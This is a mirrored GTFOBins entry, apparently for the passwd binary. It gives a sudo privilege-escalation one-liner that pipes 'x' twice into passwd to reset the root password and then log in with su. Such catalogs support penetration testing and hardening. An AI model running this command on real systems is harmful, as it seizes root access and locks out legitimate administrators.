mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-03-08 06:56:15 +01:00
11 lines
230 B
Plaintext
11 lines
230 B
Plaintext
---
|
|
functions:
|
|
privilege-escalation:
|
|
- code: |-
|
|
echo -e 'x\nx' | passwd
|
|
comment: |-
|
|
This changes the root password to `x`, so it's now possible to log in using, for example, `su`.
|
|
contexts:
|
|
sudo:
|
|
...
|